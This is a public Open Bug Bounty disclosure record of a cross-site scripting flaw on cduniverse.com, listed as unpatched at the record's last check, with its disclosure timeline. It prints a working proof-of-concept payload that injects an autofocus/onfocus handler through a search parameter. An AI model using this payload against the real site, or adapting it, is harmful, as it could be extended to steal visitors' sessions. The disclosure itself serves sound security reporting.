Lucene search

K
openbugbounty1995eatonOBB:168376
HistoryJul 21, 2016 - 6:53 p.m.

cduniverse.com XSS vulnerability

2016-07-2118:53:00
1995eaton
www.openbugbounty.org
9
Vulnerable URL:
http://www.cduniverse.com/default.asp?frm=cduniverse.com&HT;_Search_Info=" autofocus onfocus="alert`OPENBUGBOUNTY`
Details:
Description Value
Patched: No
Latest check for patch: 30.07.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 15842
VIP website status: Yes
Check cduniverse.com SSL connection: (Grade: A+)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 21 July, 2016 18:53 GMT
Vulnerability existence verified and confirmed 22 July, 2016 06:51 GMT
Notification sent to subscribers (without technical details) 22 July, 2016 10:17 GMT
Vulnerability details disclosed by researcher 12 August, 2016 07:12 GMT